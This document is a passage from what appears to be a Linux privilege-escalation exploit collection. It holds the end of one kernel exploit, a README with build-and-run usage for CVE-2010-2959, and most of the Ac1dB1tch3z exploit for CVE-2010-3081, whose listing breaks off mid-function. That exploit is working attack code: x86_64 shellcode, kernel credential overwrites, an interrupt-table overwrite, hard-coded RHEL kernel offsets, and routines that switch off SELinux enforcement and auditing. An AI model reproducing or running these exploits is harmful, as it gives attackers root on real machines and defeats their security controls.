dentry.d_count = 4096;
|
||||
dentry.d_flags = 4096;
|
||||
dentry.d_parent = NULL;
|
||||
dentry.d_inode = &inode;
|
||||
|
||||
op.mmap = &kernel_code;
|
||||
op.get_unmapped_area = &kernel_code;
|
||||
|
||||
vfsmount.mnt_flags = 0;
|
||||
vfsmount.mnt_count = 1;
|
||||
|
||||
file.fu_list.prev = &file.fu_list;
|
||||
file.fu_list.next = &file.fu_list;
|
||||
file.f_dentry = &dentry;
|
||||
file.f_vfsmnt = &vfsmount;
|
||||
file.f_op = &op;
|
||||
|
||||
shmid_kernel.shm_perm.key = IPC_PRIVATE;
|
||||
shmid_kernel.shm_perm.uid = getuid();
|
||||
shmid_kernel.shm_perm.gid = getgid();
|
||||
shmid_kernel.shm_perm.cuid = getuid();
|
||||
shmid_kernel.shm_perm.cgid = getgid();
|
||||
shmid_kernel.shm_perm.mode = -1;
|
||||
shmid_kernel.shm_file = &file;
|
||||
}
|
||||
|
||||
int
|
||||
main(int argc, char **argv)
|
||||
{
|
||||
setup();
|
||||
trigger();
|
||||
return 0;
|
||||
}
|
24
98-Linux提权/2010/CVE-2010-2959/README.md
Normal file
24
98-Linux提权/2010/CVE-2010-2959/README.md
Normal file
@ -0,0 +1,24 @@
|
||||
# CVE-2010-2959
|
||||
|
||||
CVE-2010-2959
|
||||
|
||||
Vulnerability reference:
|
||||
* [CVE-2010-2959](http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=2010-2959)
|
||||
* [exp-db](http://www.exploit-db.com/exploits/14814/)
|
||||
|
||||
## Kernels
|
||||
```
|
||||
2.6.18, 2.6.19, 2.6.20, 2.6.21, 2.6.22, 2.6.23, 2.6.24, 2.6.25, 2.6.26, 2.6.27, 2.6.28, 2.6.29, 2.6.30, 2.6.31, 2.6.32, 2.6.33, 2.6.34, 2.6.35, 2.6.36
|
||||
```
|
||||
|
||||
## Usage
|
||||
```
|
||||
$ gcc i-can-haz-modharden.c -o i-can-haz-modharden
|
||||
$ ./i-can-haz-modharden
|
||||
```
|
||||
|
||||
### This binary has been verified on:
|
||||
- Ubuntu 10.04.1 - 2.6.32-24-generic #39-Ubuntu x86_32
|
||||
|
||||
|
||||
|
BIN
98-Linux提权/2010/CVE-2010-2959/can_bcm
Normal file
BIN
98-Linux提权/2010/CVE-2010-2959/can_bcm
Normal file
Binary file not shown.
930
98-Linux提权/2010/CVE-2010-3081/15024.c
Normal file
930
98-Linux提权/2010/CVE-2010-3081/15024.c
Normal file
@ -0,0 +1,930 @@
|
||||
/*
|
||||
|
||||
Ac1dB1tch3z Vs Linux Kernel x86_64 0day
|
||||
|
||||
Today is a sad day..
|
||||
|
||||
R.I.P.
|
||||
Tue, 29 Apr 2008 / Tue, 7 Sep 2010
|
||||
|
||||
a bit of history:
|
||||
MCAST_MSFILTER Compat mode bug found... upon commit! (2 year life on this one)
|
||||
|
||||
author David L Stevens <dlstevens () us ibm com>
|
||||
Tue, 29 Apr 2008 10:23:22 +0000 (03:23 -0700)
|
||||
committer David S. Miller <davem () davemloft net>
|
||||
Tue, 29 Apr 2008 10:23:22 +0000 (03:23 -0700)
|
||||
This patch adds support for getsockopt for MCAST_MSFILTER for
|
||||
both IPv4 and IPv6. It depends on the previous setsockopt patch,
|
||||
and uses the same method.
|
||||
|
||||
Signed-off-by: David L Stevens <dlstevens () us ibm com>
|
||||
Signed-off-by: YOSHIFUJI Hideaki <yoshfuji () linux-ipv6 org>
|
||||
Signed-off-by: David S. Miller <davem () davemloft net>
|
||||
------------------------------------------------------------
|
||||
|
||||
Thank you for signing-off on this one guys.
|
||||
|
||||
This exploit has been tested very thoroughly
|
||||
over the course of the past few years on many many targets.
|
||||
|
||||
Thanks to redhat for being nice enough to backport it into early
|
||||
kernel versions (anything from later August 2008+)
|
||||
|
||||
Ac1dB1tch3z would like to say F*** YOU Ben Hawkes. You are a new hero! You saved the
|
||||
plan8 man. Just a bit too l8.
|
||||
|
||||
PS:
|
||||
OpenVZ Payload / GRsec bypass removed for kidiots and fame whores. (same thing right ;))
|
||||
|
||||
*/
|
||||
|
||||
#include <poll.h>
|
||||
#include <string.h>
|
||||
#include <unistd.h>
|
||||
#include <sys/types.h>
|
||||
#include <stdlib.h>
|
||||
#include <sys/wait.h>
|
||||
#include <sys/utsname.h>
|
||||
#include <sys/socket.h>
|
||||
#include <sched.h>
|
||||
#include <netinet/in.h>
|
||||
#include <stdio.h>
|
||||
#include <sys/stat.h>
|
||||
#include <fcntl.h>
|
||||
#include <sys/mman.h>
|
||||
#include <sys/ipc.h>
|
||||
#include <sys/msg.h>
|
||||
#include <errno.h>
|
||||
|
||||
|
||||
#ifndef __i386__
|
||||
#error "r34d th3 c0d3 m0r0n!!# () #"
|
||||
#else
|
||||
#define _GNU_SOURCE
|
||||
#define __dgdhdytrg55 unsigned int
|
||||
#define __yyrhdgdtfs66ytgetrfd unsigned long long
|
||||
#define __dhdyetgdfstreg__ memcpy
|
||||
|
||||
#define VERT "\033[32m"
|
||||
#define NORM "\033[0m"
|
||||
#define BANNER VERT"Ac1dB1tCh3z "NORM"VS Linux kernel 2.6 kernel 0d4y\n"
|
||||
|
||||
#define KALLSYMS "/proc/kallsyms"
|
||||
#define TMAGIC_66TDFDRTS "/proc/timer_list"
|
||||
#define SELINUX_PATH "/selinux/enforce"
|
||||
#define RW_FOPS "timer_list_fops"
|
||||
#define PER_C_DHHDYDGTREM7765 "per_cpu__current_task"
|
||||
#define PREPARE_GGDTSGFSRFSD "prepare_creds"
|
||||
#define OVERRIDE_GGDTSGFSRFSD "override_creds"
|
||||
#define REVERT_DHDGTRRTEFDTD "revert_creds"
|
||||
#define Y0Y0SMAP 0x100000UL
|
||||
#define Y0Y0CMAP 0x200000UL
|
||||
#define Y0Y0STOP (Y0Y0SMAP+0xFFC)
|
||||
#define J0J0S 0x00200000UL
|
||||
#define J0J0R00T 0x002000F0UL
|
||||
#define PAGE_SIZE 0x1000
|
||||
|
||||
#define KERN_DHHDYTMLADSFPYT 0x1
|
||||
#define KERN_DGGDYDTEGGETFDRLAK 0x2
|
||||
#define KERN_HHSYPPLORQTWGFD 0x4
|
||||
|
||||
|
||||
#define KERN_DIS_GGDYYTDFFACVFD_IDT 0x8
|
||||
#define KERN_DIS_DGDGHHYTTFSR34353_FOPS 0x10
|
||||
#define KERN_DIS_GGDHHDYQEEWR4432PPOI_LSM 0x20
|
||||
|
||||
#define KERN_DIS_GGSTEYGDTREFRET_SEL1NUX 0x40
|
||||
|
||||
#define isRHHGDPPLADSF(ver) (strstr(ver, ".el4") || strstr(ver,".el5"))
|
||||
|
||||
#define TRY_REMAP_DEFAULT 1
|
||||
|
||||
#define __gggdfstsgdt_dddex(f, a...) do { fprintf(stdout, f, ## a); } while(0)
|
||||
#define __pppp_tegddewyfg(s) do { fprintf(stdout, "%s", s); } while(0)
|
||||
#define __xxxfdgftr_hshsgdt(s) do { perror(s); exit(-1); } while(0)
|
||||
#define __yyy_tegdtfsrer(s) do { fprintf(stderr, s); exit(-1); } while(0)
|
||||
|
||||
static char buffer[1024];
|
||||
static int s;
|
||||
static int flags=0;
|
||||
volatile static socklen_t magiclen=0;
|
||||
static int useidt=0, usefops=0, uselsm=0;
|
||||
static __yyrhdgdtfs66ytgetrfd _m_fops=0,_m_cred[3] = {0,0,0};
|
||||
static __dgdhdytrg55 _m_cpu_off=0;
|
||||
static char krelease[64];
|
||||
static char kversion[128];
|
||||
|
||||
#define R0C_0FF 14
|
||||
static char ttrg0ccc[]=
|
||||
"\x51\x57\x53\x56\x48\x31\xc9\x48\x89\xf8\x48\x31\xf6\xbe\x41\x41\x41\x41"
|
||||
"\x3b\x30\x75\x1f\x3b\x70\x04\x75\x1a\x3b\x70\x08\x75\x15\x3b\x70\x0c"
|
||||
"\x75\x10\x48\x31\xdb\x89\x18\x89\x58\x04\x89\x58\x08\x89\x58\x0c\xeb\x11"
|
||||
"\x48\xff\xc0\x48\xff\xc1\x48\x81\xf9\x4c\x04\x00\x00\x74\x02"
|
||||
"\xeb\xcc\x5e\x5b\x5f\x59\xc3";
|
||||
|
||||
|
||||
#define R0YTTTTUHLFSTT_OFF1 5
|
||||
#define R0YGGSFDARTDF_DHDYTEGRDFD_D 21
|
||||
#define R0TDGFSRSLLSJ_SHSYSTGD 45
|
||||
char r1ngrrrrrrr[]=
|
||||
"\x53\x52\x57\x48\xbb\x41\x41\x41\x41\x41\x41\x41\x41\xff\xd3"
|
||||
"\x50\x48\x89\xc7\x48\xbb\x42\x42\x42\x42\x42\x42\x42\x42"
|
||||
"\xff\xd3\x48\x31\xd2\x89\x50\x04\x89\x50\x14\x48\x89\xc7"
|
||||
"\x48\xbb\x43\x43\x43\x43\x43\x43\x43\x43"
|
||||
"\xff\xd3\x5f\x5f\x5a\x5b\xc3";
|
||||
|
||||
|
||||
#define RJMPDDTGR_OFF 13
|
||||
#define RJMPDDTGR_DHDYTGSCAVSF 7
|
||||
#define RJMPDDTGR_GDTDGTSFRDFT 25
|
||||
static char ttrfd0[]=
|
||||
"\x57\x50\x65\x48\x8b\x3c\x25\x00\x00\x00\x00"
|
||||
"\x48\xb8\x41\x41\x41\x41\x41\x41\x41\x41\xff\xd0"
|
||||
"\x58\x5f"
|
||||
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
|
||||
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
|
||||
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
|
||||
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
|
||||
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
|
||||
"\xc3";
|
||||
|
||||
|
||||
/* implement selinux bypass for IDT ! */
|
||||
#define RJMPDDTGR_OFF_IDT 14
|
||||
#define RJMPDDTGR_DYHHTSFDARE 8
|
||||
#define RJMPDDTGR_DHDYSGTSFDRTAC_SE 27
|
||||
static char ruujhdbgatrfe345[]=
|
||||
"\x0f\x01\xf8\x65\x48\x8b\x3c\x25\x00\x00\x00\x00"
|
||||
"\x48\xb8\x41\x41\x41\x41\x41\x41\x41\x41\xff\xd0"
|
||||
"\x0f\x01\xf8"
|
||||
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
|
||||
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
|
||||
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
|
||||
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
|
||||
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
|
||||
"\x48\xcf";
|
||||
|
||||
|
||||
|
||||
#define CJE_4554TFFDTRMAJHD_OFF 10
|
||||
#define RJMPDDTGR_AYYYDGTREFCCV7761_OF 23
|
||||
static char dis4blens4sel1nuxhayettgdr64545[]=
|
||||
"\x41\x52\x50"
|
||||
"\xb8\x00\x00\x00\x00"
|
||||
"\x49\xba\x41\x41\x41\x41\x41\x41\x41\x41"
|
||||
"\x41\x89\x02"
|
||||
"\x49\xba\x42\x42\x42\x42\x42\x42\x42\x42"
|
||||
"\x41\x89\x02"
|
||||
"\x58\x41\x5a";
|
||||
|
||||
|
||||
|
||||
|
||||
/* rhel LSM stuffs */
|
||||
#define RHEL_LSM_OFF 98
|
||||
|
||||
struct LSM_rhel
|
||||
{
|
||||
__yyrhdgdtfs66ytgetrfd selinux_ops;
|
||||
__yyrhdgdtfs66ytgetrfd capability_ops;
|
||||
__yyrhdgdtfs66ytgetrfd dummy_security_ops;
|
||||
|
||||
__yyrhdgdtfs66ytgetrfd selinux_enforcing;
|
||||
__yyrhdgdtfs66ytgetrfd audit_enabled;
|
||||
|
||||
const char *krelease;
|
||||
const char *kversion;
|
||||
|
||||
};
|
||||
|
||||
struct LSM_rhel known_targets[4]=
|
||||
{
|
||||
{
|
||||
0xffffffff8031e600ULL,
|
||||
0xffffffff8031fec0ULL,
|
||||
0xffffffff804acc00ULL,
|
||||
|
||||
0xffffffff804af960ULL,
|
||||
0xffffffff8049b124ULL,
|
||||
|
||||
"2.6.18-164.el5",
|
||||
"#1 SMP Thu Sep 3 03:28:30 EDT 2009" // to manage minor/bug fix changes
|
||||
},
|
||||
{
|
||||
0xffffffff8031f600ULL,
|
||||
0xffffffff80320ec0ULL,
|
||||
0xffffffff804afc00ULL,
|
||||
|
||||
0xffffffff804b2960ULL,
|
||||
0xffffffff8049e124ULL,
|
||||
|
||||
"2.6.18-164.11.1.el5",
|
||||
"#1 SMP Wed Jan 6 13:26:04 EST 2010"
|
||||
},
|
||||
{
|
||||
0xffffffff805296a0ULL,
|
||||
0xffffffff8052af60ULL,
|
||||
0xffffffff806db1e0ULL,
|
||||
|
||||
0xffffffff806ddf40ULL,
|
||||
0xffffffff806d5324ULL,
|
||||
|
||||
"2.6.18-164.11.1.el5xen",
|
||||
"#1 SMP Wed Jan 20 08:06:04 EST 2010" // default xen
|
||||
},
|
||||
{
|
||||
0xffffffff8031f600ULL,// d selinux_ops
|
||||
0xffffffff80320ec0ULL,// d capability_ops
|
||||
0xffffffff804afc00ULL,// B dummy_security_ops
|
||||
|
||||
0xffffffff804b2960ULL,// B selinux_enforcing
|
||||
0xffffffff8049e124ULL,// B audit_enabled
|
||||
|
||||
"2.6.18-164.11.1.el5",
|
||||
"#1 SMP Wed Jan 20 07:32:21 EST 2010" // tripwire target LoL
|
||||
}
|
||||
|
||||
};
|
||||
|
||||
static struct LSM_rhel *curr_target=NULL, dyn4nt4n1labeggeyrthryt;
|
||||
|
||||
struct socketcallAT
|
||||
{
|
||||
int s;
|
||||
int level;
|
||||
int optname;
|
||||
void *optval;
|
||||
volatile socklen_t *optlen;
|
||||
}__attribute__((packed));
|
||||
|
||||
struct idt64from32_s
|
||||
{
|
||||
unsigned short limit;
|
||||
unsigned long base;
|
||||
}__attribute__((packed));
|
||||
|
||||
static __yyrhdgdtfs66ytgetrfd getidt()
|
||||
{
|
||||
struct idt64from32_s idt;
|
||||
memset(&idt, 0x00, sizeof(struct idt64from32_s));
|
||||
asm volatile("sidt %0" : "=m"(idt));
|
||||
return idt.base | 0xFFFFFFFF00000000ULL;
|
||||
}
|
||||
|
||||
|
||||
static int isSelinuxEnabled()
|
||||
{
|
||||
FILE *selinux_f;
|
||||
selinux_f = fopen(SELINUX_PATH, "r");
|
||||
if(selinux_f == NULL)
|
||||
{
|
||||
if(errno == EPERM)
|
||||
return 1;
|
||||
else
|
||||
return 0;
|
||||
}
|
||||
|
||||
fclose(selinux_f);
|
||||
return 1;
|
||||
}
|
||||
|
||||
static int wtfyourunhere_heee(char *out_release, char* out_version)
|
||||
{
|
||||
int ret; const char*ptr;
|
||||
int count=0;
|
||||
char r[32], *bptr;
|
||||
struct utsname buf;
|
||||
ret = uname(&buf);
|
||||
|
||||
if(ret < 0)
|
||||
return -1;
|
||||
|
||||
strcpy(out_release, buf.release);
|
||||
strcpy(out_version, buf.version);
|
||||
|
||||
ptr = buf.release;
|
||||
bptr = r;
|
||||
memset(r, 0x00, sizeof(r));
|
||||
while(*ptr)
|
||||
{
|
||||
if(count == 2)
|
||||
{
|
||||
if(*ptr >= '0' && *ptr <= '9')
|
||||
*bptr++ = *ptr;
|
||||
else
|
||||
break;
|
||||
}
|
||||
|
||||
if(*ptr == '.')
|
||||
count++;
|
||||
ptr++;
|
||||
}
|
||||
|
||||
if(strlen(r) < 1 || !atoi(r))
|
||||
return -1;
|
||||
|
||||
return atoi(r);
|
||||
}
|
||||
|
||||
|
||||
static void p4tch_sel1nux_codztegfaddczda(struct LSM_rhel *table)
|
||||
{
|
||||
*((__yyrhdgdtfs66ytgetrfd *)(dis4blens4sel1nuxhayettgdr64545 + CJE_4554TFFDTRMAJHD_OFF)) = table->selinux_enforcing;
|
||||
*((__yyrhdgdtfs66ytgetrfd *)(dis4blens4sel1nuxhayettgdr64545 + RJMPDDTGR_AYYYDGTREFCCV7761_OF)) = table->audit_enabled;
|
||||
__dhdyetgdfstreg__(ttrfd0 + RJMPDDTGR_GDTDGTSFRDFT, dis4blens4sel1nuxhayettgdr64545, sizeof(dis4blens4sel1nuxhayettgdr64545)-1);
|
||||
__dhdyetgdfstreg__(ruujhdbgatrfe345 + RJMPDDTGR_DHDYSGTSFDRTAC_SE, dis4blens4sel1nuxhayettgdr64545, sizeof(dis4blens4sel1nuxhayettgdr64545)-1);
|
||||
}
|
||||
|
||||
|
||||
static __yyrhdgdtfs66ytgetrfd get_sym_ex(const char* s, const char* filename, int ignore_flag)
|
||||
{
|
||||
FILE *ka;
|
||||
char line[512];
|
||||
char reloc_a[64];
|
||||
char reloc[64];
|
||||
|
||||
if(!(flags & KERN_HHSYPPLORQTWGFD) && !ignore_flag)
|
||||
return 0;
|
||||
|
||||
ka = fopen(filename, "r");
|
||||
if(!ka)
|
||||
return 0;
|
||||
|
||||
while(fgets(line, 512, ka) != NULL)
|
||||
{
|
||||
char *l_p = line;
|
||||
char *ra_p = reloc_a;
|
||||
char *r_p = reloc;
|
||||
memset(reloc, 0x00, sizeof(reloc));
|
||||
memset(reloc_a, 0x00, sizeof(reloc_a));
|
||||
while(*l_p != ' ' && (ra_p - reloc_a) < 64)
|
||||
*ra_p++ = *l_p++;
|
||||
l_p += 3;
|
||||
while(*l_p != ' ' && *l_p != '\n' && *l_p != '\t' && (r_p - reloc) < 64)
|
||||
*r_p++ = *l_p++;
|
||||
|
||||
if(!strcmp(reloc, s))
|
||||
{
|
||||
__gggdfstsgdt_dddex("$$$ %s->%s\n", s, reloc_a);
|
||||
return strtoull(reloc_a, NULL, 16);
|
||||
}
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
|
||||
static inline __yyrhdgdtfs66ytgetrfd get_sym(const char* s)
|
||||
{
|
||||
return get_sym_ex(s, KALLSYMS, 0);
|
||||
}
|
||||
|
||||
static int parse_cred(const char* val)
|
||||
{
|
||||
int i=0;
|
||||
const char* p = val;
|
||||
char local[64], *l;
|
||||
for(i=0; i<3; i++)
|
||||
{
|
||||
memset(local, 0x00, sizeof(local));
|
||||
l = local;
|
||||
while(*p && *p != ',')
|
||||
*l++ = *p++;
|
||||
|
||||
if(!(*p) && i != 2)
|
||||
return -1;
|
||||
|
||||
_m_cred[i] = strtoull(local, NULL, 16);
|
||||
p++;
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
|
||||
#define SELINUX_OPS "selinux_ops"
|
||||
#define DUMMY_SECURITY_OPS "dummy_security_ops"
|
||||
#define CAPABILITY_OPS "capability_ops"
|
||||
#define SELINUX_ENFORCING "selinux_enforcing"
|
||||
#define AUDIT_ENABLED "audit_enabled"
|
||||
|
||||
struct LSM_rhel *lsm_rhel_find_target(int check_rhel)
|
||||
{
|
||||
int i;
|
||||
char mapbuf[128];
|
||||
struct LSM_rhel *lsm = &(known_targets[0]);
|
||||
|
||||
if(check_rhel && !isRHHGDPPLADSF(krelease))
|
||||
{
|
||||
__pppp_tegddewyfg("!!! N0t a RH3l k3rn3l \n");
|
||||
return NULL;
|
||||
}
|
||||
|
||||
__pppp_tegddewyfg("$$$ L00k1ng f0r kn0wn t4rg3tz.. \n");
|
||||
for(i=0; i<sizeof(known_targets)/sizeof(struct LSM_rhel); i++, lsm++)
|
||||
{
|
||||
if(!strcmp(krelease, lsm->krelease) && !strcmp(kversion, lsm->kversion))
|
||||
{
|
||||
__gggdfstsgdt_dddex("$$$ Th1z b1tch 1z t0azt. kn0wn t4rg3t: %s %s \n", lsm->krelease, lsm->kversion);
|
||||
return lsm;
|
||||
}
|
||||
}
|
||||
|
||||
__pppp_tegddewyfg("$$$ c0mput3r 1z aqu1r1ng n3w t4rg3t...\n");
|
||||
strcpy(mapbuf, "/boot/System.map-");
|
||||
strcat(mapbuf, krelease);
|
||||
|
||||
dyn4nt4n1labeggeyrthryt.selinux_ops = get_sym_ex(SELINUX_OPS, mapbuf, 1);
|
||||
dyn4nt4n1labeggeyrthryt.dummy_security_ops = get_sym_ex(DUMMY_SECURITY_OPS, mapbuf, 1);
|
||||
dyn4nt4n1labeggeyrthryt.capability_ops = get_sym_ex(CAPABILITY_OPS, mapbuf, 1);
|
||||
dyn4nt4n1labeggeyrthryt.selinux_enforcing = get_sym_ex(SELINUX_ENFORCING, mapbuf, 1);
|
||||
dyn4nt4n1labeggeyrthryt.audit_enabled = get_sym_ex(AUDIT_ENABLED, mapbuf, 1);
|
||||
|
||||
|
||||
if(!dyn4nt4n1labeggeyrthryt.selinux_ops ||
|
||||
!dyn4nt4n1labeggeyrthryt.dummy_security_ops ||
|
||||
!dyn4nt4n1labeggeyrthryt.capability_ops ||
|
||||
!dyn4nt4n1labeggeyrthryt.selinux_enforcing ||
|
||||
!dyn4nt4n1labeggeyrthryt.audit_enabled)
|
||||
return NULL;
|
||||
|
||||
|
||||
return &dyn4nt4n1labeggeyrthryt;
|
||||
}
|
||||
|
||||
static void put_your_hands_up_hooker(int argc, char *argv[])
|
||||
{
|
||||
int fd,ver,ret;
|
||||
char __b[16];
|
||||
|
||||
|
||||
fd = open(KALLSYMS, O_RDONLY);
|
||||
ret = read(fd, __b, 16); // dummy read
|
||||
if((fd >= 0 && ret > 0))
|
||||
{
|
||||
__pppp_tegddewyfg("$$$ Kallsyms +r\t\n"); // d0nt p4tch m3 br0
|
||||
flags |= KERN_HHSYPPLORQTWGFD;
|
||||
}
|
||||
close(fd);
|
||||
|
||||
ver = wtfyourunhere_heee(krelease, kversion);
|
||||
if(ver < 0)
|
||||
__yyy_tegdtfsrer("!!! Un4bl3 t0 g3t r3l3as3 wh4t th3 fuq!\n");
|
||||
|
||||
__gggdfstsgdt_dddex("$$$ K3rn3l r3l3as3: %s\n", krelease);
|
||||
|
||||
|
||||
if(argc != 1)
|
||||
{
|
||||
while( (ret = getopt(argc, argv, "siflc:k:o:")) > 0)
|
||||
{
|
||||
switch(ret)
|
||||
{
|
||||
case 'i':
|
||||
flags |= KERN_DIS_GGDHHDYQEEWR4432PPOI_LSM|KERN_DIS_DGDGHHYTTFSR34353_FOPS;
|
||||
useidt=1; // u have to use -i to force IDT Vector
|
||||
break;
|
||||
|
||||
case 'f':
|
||||
flags |= KERN_DIS_GGDHHDYQEEWR4432PPOI_LSM|KERN_DIS_GGDYYTDFFACVFD_IDT;
|
||||
break;
|
||||
|
||||
case 'l':
|
||||
flags |= KERN_DIS_GGDYYTDFFACVFD_IDT|KERN_DIS_DGDGHHYTTFSR34353_FOPS;
|
||||
break;
|
||||
|
||||
case 'c':
|
||||
if(!optarg || parse_cred(optarg) < 0)
|
||||
__yyy_tegdtfsrer("!!! Un4bl3 t0 p4s3 cr3d c0d3z\n");
|
||||
break;
|
||||
|
||||
case 'k':
|
||||
if(optarg)
|
||||
_m_fops = strtoull(optarg, NULL, 16);
|
||||
else
|
||||
__yyy_tegdtfsrer("!!! Un4bl3 t0 p4rs3 f0P numb3rs\n");
|
||||
break;
|
||||
|
||||
case 's':
|
||||
if(!isSelinuxEnabled())
|
||||
__pppp_tegddewyfg("??? wh4t th3 fuq s3l1nux 1z n0t 3v3n 3n4bl3d!?\n");
|
||||
else
|
||||
flags |= KERN_DIS_GGSTEYGDTREFRET_SEL1NUX;
|
||||
break;
|
||||
|
||||
case 'o':
|
||||
if(optarg)
|
||||
_m_cpu_off = strtoull(optarg, NULL, 16);
|
||||
else
|
||||
__yyy_tegdtfsrer("!!! Un4bl3 t0 p4rs3 f0p c0mput3r numb3rs\n");
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
if(ver >= 29) // needs cred structure
|
||||
{
|
||||
flags |= KERN_DGGDYDTEGGETFDRLAK;
|
||||
|
||||
if(!_m_cred[0] || !_m_cred[1] || !_m_cred[2])
|
||||
{
|
||||
_m_cred[0] = get_sym(PREPARE_GGDTSGFSRFSD);
|
||||
_m_cred[1] = get_sym(OVERRIDE_GGDTSGFSRFSD);
|
||||
_m_cred[2] = get_sym(REVERT_DHDGTRRTEFDTD);
|
||||
}
|
||||
|
||||
if(!_m_cred[0] || !_m_cred[1] || !_m_cred[2])
|
||||
{
|
||||
__yyy_tegdtfsrer("!!! Err0r 1n s3tt1ng cr3d sh3llc0d3z\n");
|
||||
}
|
||||
|
||||
__pppp_tegddewyfg("$$$ Kernel Credentials detected\n");
|
||||
*((__yyrhdgdtfs66ytgetrfd *)(r1ngrrrrrrr + R0YTTTTUHLFSTT_OFF1)) = _m_cred[0];
|
||||
*((__yyrhdgdtfs66ytgetrfd *)(r1ngrrrrrrr + R0YGGSFDARTDF_DHDYTEGRDFD_D)) = _m_cred[1];
|
||||
*((__yyrhdgdtfs66ytgetrfd *)(r1ngrrrrrrr + R0TDGFSRSLLSJ_SHSYSTGD)) = _m_cred[2];
|
||||
}
|
||||
|
||||
if(ver >= 30) // needs cpu offset
|
||||
{
|
||||
flags |= KERN_DHHDYTMLADSFPYT;
|
||||
if(!_m_cpu_off)
|
||||
_m_cpu_off = (__dgdhdytrg55)get_sym(PER_C_DHHDYDGTREM7765);
|
||||
|
||||
if(!_m_cpu_off)
|
||||
__yyy_tegdtfsrer("!!! Err0r 1n s3tt1ng cr3d sh3llc0d3z\n");
|
||||
|
||||
__pppp_tegddewyfg("$$$ K3rn3l per_cpu r3l0cs 3n4bl3d!\t\n");
|
||||
*((__dgdhdytrg55 *)(ttrfd0 + RJMPDDTGR_DHDYTGSCAVSF)) = _m_cpu_off;
|
||||
*((__dgdhdytrg55 *)(ruujhdbgatrfe345 + RJMPDDTGR_DYHHTSFDARE)) = _m_cpu_off;
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
static void env_prepare(int argc, char* argv[])
|
||||
{
|
||||
|
||||
put_your_hands_up_hooker(argc, argv);
|
||||
|
||||
if(!(flags & KERN_DIS_DGDGHHYTTFSR34353_FOPS)) // try fops
|
||||
{
|
||||
__pppp_tegddewyfg("??? Trying the F0PPPPPPPPPPPPPPPPpppppppppp_____ m3th34d\n");
|
||||
if(!_m_fops)
|
||||
_m_fops = get_sym(RW_FOPS);
|
||||
|
||||
/* TODO: do RW check for newer -mm kernels which has timer_list_struct RO
|
||||
* Thanks to the guy who killed this vector... you know who you are:)
|
||||
* Lucky for you, there are more:)
|
||||
*/
|
||||
|
||||
if(_m_fops)
|
||||
{
|
||||
usefops=1;
|
||||
__pppp_tegddewyfg("$$$ w34p0n 0f ch01c3: F0PZzZzzz\n");
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
if(!usefops && !(flags & KERN_DIS_GGDHHDYQEEWR4432PPOI_LSM)) // try lsm(rhel)
|
||||
{
|
||||
curr_target = lsm_rhel_find_target(1);
|
||||
if(!curr_target)
|
||||
{
|
||||
__pppp_tegddewyfg("!!! u4bl3 t0 f1nd t4rg3t!? W3'll s33 ab0ut th4t!\n");
|
||||
}
|
||||
else
|
||||
uselsm=1;
|
||||
}
|
||||
|
||||
|
||||
if(useidt && (flags & KERN_DIS_GGSTEYGDTREFRET_SEL1NUX))
|
||||
{
|
||||
// -i flag
|
||||
curr_target = lsm_rhel_find_target(0);
|
||||
if(!curr_target)
|
||||
{
|
||||
__pppp_tegddewyfg("!!! Un4lb3 t0 f1nd t4rg3t: c0ntinu3 w1th0ut s3linsux d1s4bl3.\n");
|
||||
/* remove Selinux Flag */
|
||||
flags &= ~KERN_DIS_GGSTEYGDTREFRET_SEL1NUX;
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
if(!usefops && !useidt && !uselsm)
|
||||
__yyy_tegdtfsrer("!!! 3v3ryth3ng f41l3d!!*@&^@&*^ () * try an0th3r 0d4y L0l\n");
|
||||
}
|
||||
|
||||
|
||||
static inline int get_socklen(__yyrhdgdtfs66ytgetrfd addr, __dgdhdytrg55 stack)
|
||||
{
|
||||
int socklen_l = 8 + stack - addr - 16;
|
||||
return socklen_l;
|
||||
}
|
||||
|
||||
static struct socketcallAT at;
|
||||
static __dgdhdytrg55 idtover[4] =
|
||||
{0x00100000UL,
|
||||
0x0020ee00UL,
|
||||
0x00000000UL,
|
||||
0x00000000UL};
|
||||
|
||||
|
||||
static void fillsocketcallAT()
|
||||
{
|
||||
at.s = s;
|
||||
at.level = SOL_IP;
|
||||
at.optname = MCAST_MSFILTER;
|
||||
at.optval = buffer;
|
||||
at.optlen = &magiclen;
|
||||
}
|
||||
|
||||
|
||||
static void bitch_call(struct socketcallAT *at, void *stack)
|
||||
{
|
||||
asm volatile(
|
||||
"push %%ebx\t\n"
|
||||
"push %%esi\t\n"
|
||||
"push %%ecx\t\n"
|
||||
"push %%edx\t\n"
|
||||
"movl $0x66, %%eax\t\n"
|
||||
"movl $0xf, %%ebx\t\n"
|
||||
"movl %%esp, %%esi\t\n"
|
||||
"movl %0, %%ecx\t\n"
|
||||
"movl %1, %%esp\t\n"
|
||||
"int $0x80\t\n"
|
||||
"movl %%esi, %%esp\t\n"
|
||||
"pop %%edx\t\n"
|
||||
"pop %%ecx\t\n"
|
||||
"pop %%esi\t\n"
|
||||
"pop %%ebx\t\n"
|
||||
: : "r"(at), "r"(stack) : "memory", "eax", "ecx", "ebx", "esi"
|
||||
);
|
||||
}
|
||||
|
||||
static void __setmcbuffer(__dgdhdytrg55 value)
|
||||
{
|
||||
int i;
|
||||
__dgdhdytrg55 *p = (__dgdhdytrg55*)buffer;
|
||||
for(i=0; i<sizeof(buffer)/sizeof(void*); i++)
|
||||
*(p+i) = value;
|
||||
}
|
||||
|
||||
static void idt_smash(__yyrhdgdtfs66ytgetrfd idtbase)
|
||||
{
|
||||
int i;
|
||||
__dgdhdytrg55 curr;
|
||||
for(i=0; i<sizeof(idtover)/sizeof(idtover[0]);i++)
|
||||
{
|
||||
curr = idtover[i];
|
||||
__setmcbuffer(curr);
|
||||
